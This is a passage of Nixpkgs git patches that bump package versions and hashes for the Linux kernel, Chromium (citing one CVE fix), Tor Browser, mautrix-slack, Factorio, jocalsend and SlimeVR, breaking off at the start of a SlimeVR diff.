--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -24,8 +24,8 @@
         "hash": "sha256:0p6yjifwyrqlppn40isgxb0b5vqmljggmnp7w75vlc2c6fvzxll0"
     },
     "6.12": {
-        "version": "6.12.42",
-        "hash": "sha256:1yy17c06sn6l0skz8n1kxqhzldgwxxd0xhs11fd3086d56554128"
+        "version": "6.12.43",
+        "hash": "sha256:1vmxywg11z946i806sg7rk7jr9px87spmwwbzjxpps2nsjybpjqg"
     },
     "6.15": {
         "version": "6.15.11",

From ac552186464c77a9783556bfc4229a0c7b5e7616 Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Wed, 20 Aug 2025 16:32:32 +0200
Subject: [PATCH 3721/4511] chromium,chromedriver: 139.0.7258.127 ->
 139.0.7258.138

https://chromereleases.googleblog.com/2025/08/stable-channel-update-for-desktop_19.html

This update includes 1 security fix.

CVEs:
CVE-2025-9132

(cherry picked from commit cdfebcd99ea3c87acc7d9c5bd07e3600301c5b75)
---
 .../networking/browsers/chromium/info.json    | 24 +++++++++----------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index 5573dafed151..ade268080de3 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -1,10 +1,10 @@
 {
   "chromium": {
-    "version": "139.0.7258.127",
+    "version": "139.0.7258.138",
     "chromedriver": {
-      "version": "139.0.7258.128",
-      "hash_darwin": "sha256-QHYwd9B47p3/Y3z/TYaUpNbCBenUrI7yXVsMUwtnifg=",
-      "hash_darwin_aarch64": "sha256-rwMRpEW+sQ6u/Y0rJWGw7UICfjZO8WQddOfzpqwcsnY="
+      "version": "139.0.7258.139",
+      "hash_darwin": "sha256-EqKEyT/iEJkVASSAEP0/dNptDw3yr3AwoM2yUYbn1to=",
+      "hash_darwin_aarch64": "sha256-3H9CUsMDvD+PJ+n/YwCv22uEIxa80y+cMvL1PWOWQg0="
     },
     "deps": {
       "depot_tools": {
@@ -20,8 +20,8 @@
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "5dc2cf9cf870d324cd9fba708f26d2572cc6d4d8",
-        "hash": "sha256-YcOVErOKKruc3kPuXhmeibo3KL+Rrny1FEwF769+aEU=",
+        "rev": "884e54ea8d42947ed636779015c5b4815e069838",
+        "hash": "sha256-MCBHB1ms3H8AXqiIDHH7C+8/NDcgsn3pDx7mKtGdfbc=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -96,8 +96,8 @@
       },
       "src/third_party/angle": {
         "url": "https://chromium.googlesource.com/angle/angle.git",
-        "rev": "5f3636345f1d8afd495e2fcc474fd81e91c4866b",
-        "hash": "sha256-fx+QD0T85Js9jPQx2aghJU8UOL6WbR0bOkGY2i87A3w="
+        "rev": "96492b317e27ba4106ed00f5faa4534cfeaa0b8f",
+        "hash": "sha256-TE8vYLNnAzVkGQZ2ZYuNHnu8fwp2Qv4ANP0btgrKYSQ="
       },
       "src/third_party/angle/third_party/glmark2/src": {
         "url": "https://chromium.googlesource.com/external/github.com/glmark2/glmark2",
@@ -631,8 +631,8 @@
       },
       "src/third_party/skia": {
         "url": "https://skia.googlesource.com/skia.git",
-        "rev": "2d6f1aa4be9c33b013c322b2bc9cd99a682243b6",
-        "hash": "sha256-VysJkpCRRYNdCStnXvo6wyMCv1gLHecMwefKiwypARc="
+        "rev": "4abe0638e35d34b6fdb70f1f5ce0f0e1879a021e",
+        "hash": "sha256-hy06/Sy+rEzNyFv9R2Kg9kX7XIpCbQwCr5VjEH9CtKM="
       },
       "src/third_party/smhasher/src": {
         "url": "https://chromium.googlesource.com/external/smhasher.git",
@@ -796,8 +796,8 @@
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "505ec917b67c535519bebec58c62a34f145dd49f",
-        "hash": "sha256-fsf8j2Spe++vSnuO8763eWWmMhYqcyybpILb7OkkXq4="
+        "rev": "4d36678284f92d381f411c7947588d7a09989ca4",
+        "hash": "sha256-X5k2R7/sS3/C2S5hC1ILSquWjnPol3Pk+xe1suzgnFs="
       }
     }
   },

From 3ec0718b0504e081e28c9c6961cdf504934729b1 Mon Sep 17 00:00:00 2001
From: C4 Patino <c4patino@gmail.com>
Date: Tue, 19 Aug 2025 20:22:59 -0500
Subject: [PATCH 3722/4511] tor-browser: 14.5.5 -> 14.5.6

(cherry picked from commit e41e1aea02539bb2d87c101ef5d4bd354702e6d3)
---
 pkgs/by-name/to/tor-browser/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/to/tor-browser/package.nix b/pkgs/by-name/to/tor-browser/package.nix
index aaeead533564..29b6934a0bcf 100644
--- a/pkgs/by-name/to/tor-browser/package.nix
+++ b/pkgs/by-name/to/tor-browser/package.nix
@@ -109,7 +109,7 @@ lib.warnIf (useHardenedMalloc != null)
         ++ lib.optionals mediaSupport [ ffmpeg ]
       );
 
-      version = "14.5.5";
+      version = "14.5.6";
 
       sources = {
         x86_64-linux = fetchurl {
@@ -119,7 +119,7 @@ lib.warnIf (useHardenedMalloc != null)
             "https://tor.eff.org/dist/torbrowser/${version}/tor-browser-linux-x86_64-${version}.tar.xz"
             "https://tor.calyxinstitute.org/dist/torbrowser/${version}/tor-browser-linux-x86_64-${version}.tar.xz"
           ];
-          hash = "sha256-rJGhgSSktaeH7KSOtf1KjJbrl/m4sdz+9UdjUN9ovz0=";
+          hash = "sha256-GRLCWCCPixclqdk4UijfHqyDAJjx4eiMM7IwePSCZMI=";
         };
 
         i686-linux = fetchurl {
@@ -129,7 +129,7 @@ lib.warnIf (useHardenedMalloc != null)
             "https://tor.eff.org/dist/torbrowser/${version}/tor-browser-linux-i686-${version}.tar.xz"
             "https://tor.calyxinstitute.org/dist/torbrowser/${version}/tor-browser-linux-i686-${version}.tar.xz"
           ];
-          hash = "sha256-mvlx817/vLi4QyA0aSPyAuWSBfMLjfkFG9Zse9rmSzw=";
+          hash = "sha256-dhRPuMwtxzgA8DJdwct9oNjEOftFSS9Z9wP908wcwIw=";
         };
       };
 

From 9b25c330be40afe4b8be9a493439f81aaae27d5f Mon Sep 17 00:00:00 2001
From: C4 Patino <c4patino@gmail.com>
Date: Tue, 19 Aug 2025 20:38:11 -0500
Subject: [PATCH 3723/4511] tor-browser: added maintainer @c4patino

(cherry picked from commit 187240e2841d80329ed292322651d4c1a45773a9)
---
 pkgs/by-name/to/tor-browser/package.nix | 15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/to/tor-browser/package.nix b/pkgs/by-name/to/tor-browser/package.nix
index 29b6934a0bcf..e2652fb3f6ca 100644
--- a/pkgs/by-name/to/tor-browser/package.nix
+++ b/pkgs/by-name/to/tor-browser/package.nix
@@ -353,28 +353,29 @@ lib.warnIf (useHardenedMalloc != null)
         };
       };
 
-      meta = with lib; {
+      meta = {
         description = "Privacy-focused browser routing traffic through the Tor network";
         mainProgram = "tor-browser";
         homepage = "https://www.torproject.org/";
         changelog = "https://gitweb.torproject.org/builders/tor-browser-build.git/plain/projects/tor-browser/Bundle-Data/Docs/ChangeLog.txt?h=maint-${version}";
-        platforms = attrNames sources;
-        maintainers = with maintainers; [
+        platforms = lib.attrNames sources;
+        maintainers = with lib.maintainers; [
+          c4patino
           felschr
-          panicgh
-          joachifm
           hax404
+          joachifm
+          panicgh
         ];
         # MPL2.0+, GPL+, &c.  While it's not entirely clear whether
         # the compound is "libre" in a strict sense (some components place certain
         # restrictions on redistribution), it's free enough for our purposes.
-        license = with licenses; [
+        license = with lib.licenses; [
           mpl20
           lgpl21Plus
           lgpl3Plus
           free
         ];
-        sourceProvenance = with sourceTypes; [ binaryNativeCode ];
+        sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
       };
     }
   )

From 045ef5783370c7a7dd87e49d428bb25e91b08ef9 Mon Sep 17 00:00:00 2001
From: SchweGELBin <abramjannikmichael06@gmail.com>
Date: Wed, 16 Jul 2025 13:23:03 +0200
Subject: [PATCH 3724/4511] mautrix-slack: 0.2.1 -> 0.2.2

(cherry picked from commit cc70f1857d9312687f7ca9325a545932eccfedff)
---
 pkgs/by-name/ma/mautrix-slack/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ma/mautrix-slack/package.nix b/pkgs/by-name/ma/mautrix-slack/package.nix
index d29544550e04..b78162194f9f 100644
--- a/pkgs/by-name/ma/mautrix-slack/package.nix
+++ b/pkgs/by-name/ma/mautrix-slack/package.nix
@@ -13,7 +13,7 @@
   withGoolm ? false,
 }:
 let
-  version = "0.2.1";
+  version = "0.2.2";
 in
 buildGoModule {
   pname = "mautrix-slack";
@@ -23,10 +23,10 @@ buildGoModule {
     owner = "mautrix";
     repo = "slack";
     tag = "v${version}";
-    hash = "sha256-1/OuwyQU68tsg9WOl0Eg4ZM28sD6JDMQN9i1LZLYOuE=";
+    hash = "sha256-Ha3Rwd9+2RFxOF+H5jG6wRlgqLfUbCcoZcaXehyr1m0=";
   };
 
-  vendorHash = "sha256-YjM2ZpXm3DGNRtCGvj7+0+bXAnb7HXYzQvxCSL4+hHo=";
+  vendorHash = "sha256-BjKEf4cG9kPcwuUefosBFzyCUpYhK7fm+w/GtG+oicg=";
 
   buildInputs = lib.optional (!withGoolm) olm;
   tags = lib.optional withGoolm "goolm";

From c966bf5fd4f17eed5448846ad056527c980ea780 Mon Sep 17 00:00:00 2001
From: SchweGELBin <abramjannikmichael06@gmail.com>
Date: Sun, 17 Aug 2025 23:29:23 +0200
Subject: [PATCH 3725/4511] mautrix-slack: 0.2.2 -> 0.2.3

(cherry picked from commit 073f2d0758fe1843a123fc1567fb62384df81700)
---
 pkgs/by-name/ma/mautrix-slack/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ma/mautrix-slack/package.nix b/pkgs/by-name/ma/mautrix-slack/package.nix
index b78162194f9f..bd8db90ec545 100644
--- a/pkgs/by-name/ma/mautrix-slack/package.nix
+++ b/pkgs/by-name/ma/mautrix-slack/package.nix
@@ -13,7 +13,7 @@
   withGoolm ? false,
 }:
 let
-  version = "0.2.2";
+  version = "0.2.3";
 in
 buildGoModule {
   pname = "mautrix-slack";
@@ -23,10 +23,10 @@ buildGoModule {
     owner = "mautrix";
     repo = "slack";
     tag = "v${version}";
-    hash = "sha256-Ha3Rwd9+2RFxOF+H5jG6wRlgqLfUbCcoZcaXehyr1m0=";
+    hash = "sha256-gR5D2uCNS+LiP0KXup/iIiOThWohzeBe4CD/oWak1BM=";
   };
 
-  vendorHash = "sha256-BjKEf4cG9kPcwuUefosBFzyCUpYhK7fm+w/GtG+oicg=";
+  vendorHash = "sha256-aukL6RThtWcznz/x25btTTvloYkRZ/vhAQj1hOdI1U4=";
 
   buildInputs = lib.optional (!withGoolm) olm;
   tags = lib.optional withGoolm "goolm";

From 3a1c2246fd2efd0694d4a9352fddea0f99dc3495 Mon Sep 17 00:00:00 2001
From: Chandler Swift <chandler@chandlerswift.com>
Date: Thu, 5 Jun 2025 19:29:21 -0500
Subject: [PATCH 3726/4511] factorio, factorio-experimental: 2.0.{43,45} ->
 2.0.55

(cherry picked from commit 348ec8c846cce39c467cac90ddbbc9ce9bf61bd8)
---
 pkgs/by-name/fa/factorio/versions.json | 64 +++++++++++++-------------
 1 file changed, 32 insertions(+), 32 deletions(-)

diff --git a/pkgs/by-name/fa/factorio/versions.json b/pkgs/by-name/fa/factorio/versions.json
index f8f6ea32e40f..234b3816a717 100644
--- a/pkgs/by-name/fa/factorio/versions.json
+++ b/pkgs/by-name/fa/factorio/versions.json
@@ -3,25 +3,25 @@
     "alpha": {
       "experimental": {
         "candidateHashFilenames": [
-          "factorio_linux_2.0.45.tar.xz"
+          "factorio_linux_2.0.55.tar.xz"
         ],
-        "name": "factorio_alpha_x64-2.0.45.tar.xz",
+        "name": "factorio_alpha_x64-2.0.55.tar.xz",
         "needsAuth": true,
-        "sha256": "32b004a648dfc8b8e2bb6b82f648e5be458a13b7fefad79487a1d663c6f3b711",
+        "sha256": "f9f4821809a2a2a475683e820853f65b1105a6910e72b4a192843244fedc4819",
         "tarDirectory": "x64",
-        "url": "https://factorio.com/get-download/2.0.45/alpha/linux64",
-        "version": "2.0.45"
+        "url": "https://factorio.com/get-download/2.0.55/alpha/linux64",
+        "version": "2.0.55"
       },
       "stable": {
         "candidateHashFilenames": [
-          "factorio_linux_2.0.43.tar.xz"
+          "factorio_linux_2.0.55.tar.xz"
         ],
-        "name": "factorio_alpha_x64-2.0.43.tar.xz",
+        "name": "factorio_alpha_x64-2.0.55.tar.xz",
         "needsAuth": true,
-        "sha256": "971c293f46d2e021be762eb23c45c17746aa5b8ec74e30fef5f46fa32bb7e1aa",
+        "sha256": "f9f4821809a2a2a475683e820853f65b1105a6910e72b4a192843244fedc4819",
         "tarDirectory": "x64",
-        "url": "https://factorio.com/get-download/2.0.43/alpha/linux64",
-        "version": "2.0.43"
+        "url": "https://factorio.com/get-download/2.0.55/alpha/linux64",
+        "version": "2.0.55"
       }
     },
     "demo": {
@@ -51,51 +51,51 @@
     "expansion": {
       "experimental": {
         "candidateHashFilenames": [
-          "factorio-space-age_linux_2.0.45.tar.xz"
+          "factorio-space-age_linux_2.0.55.tar.xz"
         ],
-        "name": "factorio_expansion_x64-2.0.45.tar.xz",
+        "name": "factorio_expansion_x64-2.0.55.tar.xz",
         "needsAuth": true,
-        "sha256": "7a81be62a051b80166c9f6c9e94fca2e19a0ac65f19769f99a624772f87cdab4",
+        "sha256": "4c70f5dba5ad7236b56163e5224bea2bcfa08c16d6e2ea2b55f55dd118517a95",
         "tarDirectory": "x64",
-        "url": "https://factorio.com/get-download/2.0.45/expansion/linux64",
-        "version": "2.0.45"
+        "url": "https://factorio.com/get-download/2.0.55/expansion/linux64",
+        "version": "2.0.55"
       },
       "stable": {
         "candidateHashFilenames": [
-          "factorio-space-age_linux_2.0.43.tar.xz"
+          "factorio-space-age_linux_2.0.55.tar.xz"
         ],
-        "name": "factorio_expansion_x64-2.0.43.tar.xz",
+        "name": "factorio_expansion_x64-2.0.55.tar.xz",
         "needsAuth": true,
-        "sha256": "43d98f9dfa4edc15a622b9881f71673902710ef8aa12cccc7f6e8ccd7962488e",
+        "sha256": "4c70f5dba5ad7236b56163e5224bea2bcfa08c16d6e2ea2b55f55dd118517a95",
         "tarDirectory": "x64",
-        "url": "https://factorio.com/get-download/2.0.43/expansion/linux64",
-        "version": "2.0.43"
+        "url": "https://factorio.com/get-download/2.0.55/expansion/linux64",
+        "version": "2.0.55"
       }
     },
     "headless": {
       "experimental": {
         "candidateHashFilenames": [
-          "factorio-headless_linux_2.0.45.tar.xz",
-          "factorio_headless_x64_2.0.45.tar.xz"
+          "factorio-headless_linux_2.0.55.tar.xz",
+          "factorio_headless_x64_2.0.55.tar.xz"
         ],
-        "name": "factorio_headless_x64-2.0.45.tar.xz",
+        "name": "factorio_headless_x64-2.0.55.tar.xz",
         "needsAuth": false,
-        "sha256": "4fd7e04bb3ea7d12da8e1c3befc6b53b3c0064775c960a5a9db6a943f2259fc2",
+        "sha256": "ef12a54d1556ae1f84ff99edc23706d13b7ad41f1c02d74ca1dfadf9448fcbae",
         "tarDirectory": "x64",
-        "url": "https://factorio.com/get-download/2.0.45/headless/linux64",
-        "version": "2.0.45"
+        "url": "https://factorio.com/get-download/2.0.55/headless/linux64",
+        "version": "2.0.55"
       },
       "stable": {
         "candidateHashFilenames": [
-          "factorio-headless_linux_2.0.43.tar.xz",
-          "factorio_headless_x64_2.0.43.tar.xz"
+          "factorio-headless_linux_2.0.55.tar.xz",
+          "factorio_headless_x64_2.0.55.tar.xz"
         ],
-        "name": "factorio_headless_x64-2.0.43.tar.xz",
+        "name": "factorio_headless_x64-2.0.55.tar.xz",
         "needsAuth": false,
-        "sha256": "bde6e167330c4439ce7df3ac519ea445120258ef676f1f6ad31d0c2816d3aee3",
+        "sha256": "ef12a54d1556ae1f84ff99edc23706d13b7ad41f1c02d74ca1dfadf9448fcbae",
         "tarDirectory": "x64",
-        "url": "https://factorio.com/get-download/2.0.43/headless/linux64",
-        "version": "2.0.43"
+        "url": "https://factorio.com/get-download/2.0.55/headless/linux64",
+        "version": "2.0.55"
       }
     }
   }

From 5e3fde4f8cfe74a9409b3516af73ad40d61a1fb1 Mon Sep 17 00:00:00 2001
From: Philipp Riegger <philipp@riegger.name>
Date: Thu, 17 Jul 2025 14:55:41 +0200
Subject: [PATCH 3727/4511] factorio: 2.0.55 -> 2.0.60

(cherry picked from commit df7b71810f398785fcf753f638cd6c6cbc5366ca)
---
 pkgs/by-name/fa/factorio/versions.json | 64 +++++++++++++-------------
 1 file changed, 32 insertions(+), 32 deletions(-)

diff --git a/pkgs/by-name/fa/factorio/versions.json b/pkgs/by-name/fa/factorio/versions.json
index 234b3816a717..cb59bb061465 100644
--- a/pkgs/by-name/fa/factorio/versions.json
+++ b/pkgs/by-name/fa/factorio/versions.json
@@ -3,25 +3,25 @@
     "alpha": {
       "experimental": {
         "candidateHashFilenames": [
-          "factorio_linux_2.0.55.tar.xz"
+          "factorio_linux_2.0.60.tar.xz"
         ],
-        "name": "factorio_alpha_x64-2.0.55.tar.xz",
+        "name": "factorio_alpha_x64-2.0.60.tar.xz",
         "needsAuth": true,
-        "sha256": "f9f4821809a2a2a475683e820853f65b1105a6910e72b4a192843244fedc4819",
+        "sha256": "d022ee9a9b7376077687232c16a3c809e847dab00e02915ec146fb4b548dd24f",
         "tarDirectory": "x64",
-        "url": "https://factorio.com/get-download/2.0.55/alpha/linux64",
-        "version": "2.0.55"
+        "url": "https://factorio.com/get-download/2.0.60/alpha/linux64",
+        "version": "2.0.60"
       },
       "stable": {
         "candidateHashFilenames": [
-          "factorio_linux_2.0.55.tar.xz"
+          "factorio_linux_2.0.60.tar.xz"
         ],
-        "name": "factorio_alpha_x64-2.0.55.tar.xz",
+        "name": "factorio_alpha_x64-2.0.60.tar.xz",
         "needsAuth": true,
-        "sha256": "f9f4821809a2a2a475683e820853f65b1105a6910e72b4a192843244fedc4819",
+        "sha256": "d022ee9a9b7376077687232c16a3c809e847dab00e02915ec146fb4b548dd24f",
         "tarDirectory": "x64",
-        "url": "https://factorio.com/get-download/2.0.55/alpha/linux64",
-        "version": "2.0.55"
+        "url": "https://factorio.com/get-download/2.0.60/alpha/linux64",
+        "version": "2.0.60"
       }
     },
     "demo": {
@@ -51,51 +51,51 @@
     "expansion": {
       "experimental": {
         "candidateHashFilenames": [
-          "factorio-space-age_linux_2.0.55.tar.xz"
+          "factorio-space-age_linux_2.0.60.tar.xz"
         ],
-        "name": "factorio_expansion_x64-2.0.55.tar.xz",
+        "name": "factorio_expansion_x64-2.0.60.tar.xz",
         "needsAuth": true,
-        "sha256": "4c70f5dba5ad7236b56163e5224bea2bcfa08c16d6e2ea2b55f55dd118517a95",
+        "sha256": "56a933745f2cf3144bc984031229cb7b8a16eace523fa9288e8eca915e4d8186",
         "tarDirectory": "x64",
-        "url": "https://factorio.com/get-download/2.0.55/expansion/linux64",
-        "version": "2.0.55"
+        "url": "https://factorio.com/get-download/2.0.60/expansion/linux64",
+        "version": "2.0.60"
       },
       "stable": {
         "candidateHashFilenames": [
-          "factorio-space-age_linux_2.0.55.tar.xz"
+          "factorio-space-age_linux_2.0.60.tar.xz"
         ],
-        "name": "factorio_expansion_x64-2.0.55.tar.xz",
+        "name": "factorio_expansion_x64-2.0.60.tar.xz",
         "needsAuth": true,
-        "sha256": "4c70f5dba5ad7236b56163e5224bea2bcfa08c16d6e2ea2b55f55dd118517a95",
+        "sha256": "56a933745f2cf3144bc984031229cb7b8a16eace523fa9288e8eca915e4d8186",
         "tarDirectory": "x64",
-        "url": "https://factorio.com/get-download/2.0.55/expansion/linux64",
-        "version": "2.0.55"
+        "url": "https://factorio.com/get-download/2.0.60/expansion/linux64",
+        "version": "2.0.60"
       }
     },
     "headless": {
       "experimental": {
         "candidateHashFilenames": [
-          "factorio-headless_linux_2.0.55.tar.xz",
-          "factorio_headless_x64_2.0.55.tar.xz"
+          "factorio-headless_linux_2.0.60.tar.xz",
+          "factorio_headless_x64_2.0.60.tar.xz"
         ],
-        "name": "factorio_headless_x64-2.0.55.tar.xz",
+        "name": "factorio_headless_x64-2.0.60.tar.xz",
         "needsAuth": false,
-        "sha256": "ef12a54d1556ae1f84ff99edc23706d13b7ad41f1c02d74ca1dfadf9448fcbae",
+        "sha256": "69b5be1a867fd99524f9914dfee900a1ac386cf4e74c4a63768c05dc4d2b2b0b",
         "tarDirectory": "x64",
-        "url": "https://factorio.com/get-download/2.0.55/headless/linux64",
-        "version": "2.0.55"
+        "url": "https://factorio.com/get-download/2.0.60/headless/linux64",
+        "version": "2.0.60"
       },
       "stable": {
         "candidateHashFilenames": [
-          "factorio-headless_linux_2.0.55.tar.xz",
-          "factorio_headless_x64_2.0.55.tar.xz"
+          "factorio-headless_linux_2.0.60.tar.xz",
+          "factorio_headless_x64_2.0.60.tar.xz"
         ],
-        "name": "factorio_headless_x64-2.0.55.tar.xz",
+        "name": "factorio_headless_x64-2.0.60.tar.xz",
         "needsAuth": false,
-        "sha256": "ef12a54d1556ae1f84ff99edc23706d13b7ad41f1c02d74ca1dfadf9448fcbae",
+        "sha256": "69b5be1a867fd99524f9914dfee900a1ac386cf4e74c4a63768c05dc4d2b2b0b",
         "tarDirectory": "x64",
-        "url": "https://factorio.com/get-download/2.0.55/headless/linux64",
-        "version": "2.0.55"
+        "url": "https://factorio.com/get-download/2.0.60/headless/linux64",
+        "version": "2.0.60"
       }
     }
   }

From 41ccae213cae06f9e3255eec772a65651ac221fb Mon Sep 17 00:00:00 2001
From: Luke Granger-Brown <git@lukegb.com>
Date: Sat, 16 Aug 2025 20:33:41 +0200
Subject: [PATCH 3728/4511] factorio-experimental: 2.0.60 -> 2.0.64

(cherry picked from commit a95c3ed5933b60f6c187d65a1c7108903574ebb7)
---
 pkgs/by-name/fa/factorio/versions.json | 32 +++++++++++++-------------
 1 file changed, 16 insertions(+), 16 deletions(-)

diff --git a/pkgs/by-name/fa/factorio/versions.json b/pkgs/by-name/fa/factorio/versions.json
index cb59bb061465..d4a185011831 100644
--- a/pkgs/by-name/fa/factorio/versions.json
+++ b/pkgs/by-name/fa/factorio/versions.json
@@ -3,14 +3,14 @@
     "alpha": {
       "experimental": {
         "candidateHashFilenames": [
-          "factorio_linux_2.0.60.tar.xz"
+          "factorio_linux_2.0.64.tar.xz"
         ],
-        "name": "factorio_alpha_x64-2.0.60.tar.xz",
+        "name": "factorio_alpha_x64-2.0.64.tar.xz",
         "needsAuth": true,
-        "sha256": "d022ee9a9b7376077687232c16a3c809e847dab00e02915ec146fb4b548dd24f",
+        "sha256": "2c9ac3fa4a0c8433960edb8ba74b832e7e883c41ea73dda69b1608d4e967e826",
         "tarDirectory": "x64",
-        "url": "https://factorio.com/get-download/2.0.60/alpha/linux64",
-        "version": "2.0.60"
+        "url": "https://factorio.com/get-download/2.0.64/alpha/linux64",
+        "version": "2.0.64"
       },
       "stable": {
         "candidateHashFilenames": [
@@ -51,14 +51,14 @@
     "expansion": {
       "experimental": {
         "candidateHashFilenames": [
-          "factorio-space-age_linux_2.0.60.tar.xz"
+          "factorio-space-age_linux_2.0.64.tar.xz"
         ],
-        "name": "factorio_expansion_x64-2.0.60.tar.xz",
+        "name": "factorio_expansion_x64-2.0.64.tar.xz",
         "needsAuth": true,
-        "sha256": "56a933745f2cf3144bc984031229cb7b8a16eace523fa9288e8eca915e4d8186",
+        "sha256": "e86f813290d636da9a0715f6700d7b3a60998714146417442688599551529683",
         "tarDirectory": "x64",
-        "url": "https://factorio.com/get-download/2.0.60/expansion/linux64",
-        "version": "2.0.60"
+        "url": "https://factorio.com/get-download/2.0.64/expansion/linux64",
+        "version": "2.0.64"
       },
       "stable": {
         "candidateHashFilenames": [
@@ -75,15 +75,15 @@
     "headless": {
       "experimental": {
         "candidateHashFilenames": [
-          "factorio-headless_linux_2.0.60.tar.xz",
-          "factorio_headless_x64_2.0.60.tar.xz"
+          "factorio-headless_linux_2.0.64.tar.xz",
+          "factorio_headless_x64_2.0.64.tar.xz"
         ],
-        "name": "factorio_headless_x64-2.0.60.tar.xz",
+        "name": "factorio_headless_x64-2.0.64.tar.xz",
         "needsAuth": false,
-        "sha256": "69b5be1a867fd99524f9914dfee900a1ac386cf4e74c4a63768c05dc4d2b2b0b",
+        "sha256": "729480a81fc3b3bd105bd0c92e108ee1caaac7840cc168cb32b0f9db8759a28a",
         "tarDirectory": "x64",
-        "url": "https://factorio.com/get-download/2.0.60/headless/linux64",
-        "version": "2.0.60"
+        "url": "https://factorio.com/get-download/2.0.64/headless/linux64",
+        "version": "2.0.64"
       },
       "stable": {
         "candidateHashFilenames": [

From db6e7e8b372ec8d60688878619d1513ed25d88e0 Mon Sep 17 00:00:00 2001
From: Pascal Dietrich <pascal.1.dietrich@hotmail.com>
Date: Tue, 19 Aug 2025 23:47:12 +0200
Subject: [PATCH 3729/4511] jocalsend: init at 1.6.1803

(cherry picked from commit ba7cd35d6dba092dcb246c7ae3657469b174cb10)
---
 pkgs/by-name/jo/jocalsend/package.nix | 39 +++++++++++++++++++++++++++
 1 file changed, 39 insertions(+)
 create mode 100644 pkgs/by-name/jo/jocalsend/package.nix

diff --git a/pkgs/by-name/jo/jocalsend/package.nix b/pkgs/by-name/jo/jocalsend/package.nix
new file mode 100644
index 000000000000..5ab082ac736e
--- /dev/null
+++ b/pkgs/by-name/jo/jocalsend/package.nix
@@ -0,0 +1,39 @@
+{
+  lib,
+  fetchFromGitea,
+  rustPlatform,
+  pkg-config,
+  openssl,
+}:
+
+rustPlatform.buildRustPackage (finalAttrs: {
+  pname = "jocalsend";
+  version = "1.6.1803";
+
+  src = fetchFromGitea {
+    domain = "git.kittencollective.com";
+    owner = "nebkor";
+    repo = "joecalsend";
+    tag = finalAttrs.version;
+    hash = "sha256-nrXUZb4Yi1ttEltzqKUnMLLr5cvhqCxW1iJyo1ErG0w=";
+  };
+
+  cargoHash = "sha256-0yFKJtwQikP6WRDVWgv7b9e0iUS9AdKpx6VTeNAQ4zs=";
+
+  nativeBuildInputs = [
+    pkg-config
+  ];
+
+  buildInputs = [
+    openssl
+  ];
+
+  meta = {
+    homepage = "https://git.kittencollective.com/nebkor/joecalsend";
+    description = "Rust terminal client for Localsend";
+    changelog = "https://git.kittencollective.com/nebkor/joecalsend/releases/tag/${finalAttrs.src.tag}";
+    license = with lib.licenses; [ unfreeRedistributable ];
+    maintainers = with lib.maintainers; [ Cameo007 ];
+    mainProgram = "jocalsend";
+  };
+})

From 6a692d3dd1c2e5cf3543e7a0424e2ed34b909ce8 Mon Sep 17 00:00:00 2001
From: Uriel <imurx@proton.me>
Date: Tue, 19 Aug 2025 01:09:04 -0400
Subject: [PATCH 3730/4511] slimevr: 0.16.0 -> 0.16.2

(cherry picked from commit 62c8276ad3d44404e07ea927135ce2c5b9471197)
---
 pkgs/by-name/sl/slimevr-server/deps.json | 16 +++++---------
 pkgs/by-name/sl/slimevr/package.nix      | 27 +++++++++---------------
 2 files changed, 15 insertions(+), 28 deletions(-)

diff --git a/pkgs/by-name/sl/slimevr-server/deps.json b/pkgs/by-name/sl/slimevr-server/deps.json
index 0a9f2605b5b9..4358958894be 100644
--- a/pkgs/by-name/sl/slimevr-server/deps.json
+++ b/pkgs/by-name/sl/slimevr-server/deps.json
@@ -27,17 +27,6 @@
   }
  },
  "https://oss.sonatype.org/content/repositories/snapshots": {
-  "com/fazecast#jSerialComm/2.11.1-20240515.234541-3/SNAPSHOT": {
-   "jar": "sha256-n4A3U5elHQhq9b0YVgvWCuXAHqt0RzxL5e4Fe4iGTkM=",
-   "module": "sha256-xeVUO5f2Imx43EgYUI5vbLXyyEmJh/jT106eLUWtUYg=",
-   "pom": "sha256-y+ZXr7k89vlAHOMZmlTNYl8D0Nki+6CDame/QNX/e2M="
-  },
-  "com/fazecast/jSerialComm/2.11.1-SNAPSHOT/maven-metadata": {
-   "xml": {
-    "groupId": "com.fazecast",
-    "lastUpdated": "20241221185706"
-   }
-  },
   "net/java/dev/jna#jna-platform/5.1.1-20181118.214522-1/SNAPSHOT": {
    "pom": "sha256-STVISbMwC8BymYDxq6UJhC3ZWqO+p7iA7lRW34ZcX6g="
   },
@@ -560,6 +549,11 @@
   "com/fasterxml/jackson/dataformat#jackson-dataformats-text/2.15.1": {
    "pom": "sha256-xLCopnocY3IgeJlhd5bYafE/UerrGsN/wHqcpxPaQjU="
   },
+  "com/fazecast#jSerialComm/2.11.2": {
+   "jar": "sha256-IG2ScOZI3wMyR+deuECTpek9ePB8U+X+H6n8SmAaxXY=",
+   "module": "sha256-9ogHv84GSzOaAwFlbzbffC8GORkp7GKOyGyOMK7bufw=",
+   "pom": "sha256-jc/TZu3kSH1ZOSy+OvUaN3cUT09dRPinstTcvwBB38I="
+  },
   "com/github/jonpeterson#jackson-module-model-versioning/1.2.2": {
    "jar": "sha256-FcepndfH5cTcOLXkhn1TZw1YDYqAXvQ4A7qT8IN2Uc0=",
    "pom": "sha256-eN9L1tMAM6b3JUkuBewt0shfbc7EYm6wWT6KpO9f0ic="
diff --git a/pkgs/by-name/sl/slimevr/package.nix b/pkgs/by-name/sl/slimevr/package.nix
index 039e001de7ac..6ff93fb9c034 100644
--- a/pkgs/by-name/sl/slimevr/package.nix
+++ b/pkgs/by-name/sl/slimevr/package.nix
